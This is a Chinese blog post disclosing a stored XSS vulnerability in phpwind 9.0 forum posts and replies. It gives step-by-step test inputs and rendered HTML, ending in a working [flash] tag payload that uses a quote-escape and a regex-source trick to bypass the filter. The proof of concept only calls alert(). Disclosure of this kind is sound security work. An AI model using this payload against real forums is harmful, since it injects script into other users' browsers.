没有 阅读你们的代码,没有华丽的代码分析。只是黑盒测试…… 代码编写不当导致phpwind发帖和回复功能均可以由攻击者植入恶意的js代码进而进行跨站脚本攻击。下面附上测试步骤,已便重现和官方修复:   注册账号,在任意板块进行发帖(切换到代码模式方便测试)   测试输入1:   [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash]   测试输出1:   <object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" id="jp_audio_container_0" style="" height="400" width="480"> <param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf"> <param name="allowFullScreen" value="true"> <param name="autostart" value="true"> <param name="loop" value="true"> <param name="allownetworking" value="internal"> <param name="allowscriptaccess" value="never"> <param name="quality" value="high"> <param name="wmode" value="transparent"> <div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div>    </object>   确定输出点后,尝试在flash的url中加入双引号跳出value=""和data=""。 测试输入2:   [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash]   测试输出2:   [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf"asd qwe[/flash]   发现URL中出现双引号时UBB CODE不会被转换成HTML CODE.但经过小的fuzzing后,发现当   [flash=480,400,0]http://businessinfo.co.uk/labs/xss/xss.swf[/flash] 之前出现UBB代码   [attachment=8]   时(点上传附件按钮,上传任何一种允许的文件类型。上传成功成功后点击插入即可),情况就会有所转变。在这种情况下我们在[flash][/flash]中插入的双引号可以帮助我们跳出value=""和data=""。当然还有一些其它蛋疼的限制……   测试输入3:   [attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmou seover=alert() qq[/flash]   测试输出3:   [attachment=213][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=alert() qq[/flash]   当恶意脚本包含"()"时UBBCODE又一次没有被转换成HTML代码。蛋蛋的忧伤……   经过一系列fuzz之后,发现:   1.一旦出现(或)UBB CODE就不会被转换成HTML CODE 2.所有的单引号,双引号,尖括号后面都会被加上%3b 3.&会被替换成HTMLEntity也就是&amp;   这样一来开新标签是不可能了,使用编码也是不可能了,所以机智的我……还是搞定了。   最终测试输入:   [attachment=999][flash=1920,1080,0]http://businessinfo.co.uk/labs/xss/xss.swf" onmouseover=location=/javascript:alert%28%29/.source qq[/flash]   最终测试输出:     <object type="application/x-shockwave-flash" data="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"="" id="jp_audio_container_0" style="" height="1080" width="1920"> <param name="movie" value="http://businessinfo.co.uk/labs/xss/xss.swf" %3b="" onmouseover="location=/javascript:alert%28%29/.source" qq"=""> <param name="allowFullScreen" value="true"> <param name="autostart" value="true"> <param name="loop" value="true"> <param name="allownetworking" value="internal"> <param name="allowscriptaccess" value="never"> <param name="quality" value="high"> <param name="wmode" value="transparent"> <div style="height:100%">您还没有安装flash播放器,请点击<a href="http://www.adobe.com/go/getflash" target="_blank">这里</a>安装</div>    </object>   就这样搞定了……因为flash的高宽值都可控,所以基本上小移动一下鼠标就中招了。   攻击者植入恶意代码,并发帖(也可以是回复 一样的嘛):   phpwind9.0最新版富文本存储型XSS漏洞 – 网站安全插图   受害者打开被植入恶意代码的帖子时会遭受跨站脚本攻击:
phpwind9.0最新版富文本存储型XSS漏洞 – 网站安全插图1   修复方案:

没看代码也不好说怎么修复,你们是专业的 抽时间修复一下吧   

    上一篇: 126邮箱应用中心XXE注入漏洞 - 网站安全 - 自学p

    下一篇: 各大CMS厂商的CMS存在的同一设计缺陷 - 网站安全
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《phpwind9.0最新版富文本存储型XSS漏洞 – 网站安全
   

还没有人抢沙发呢~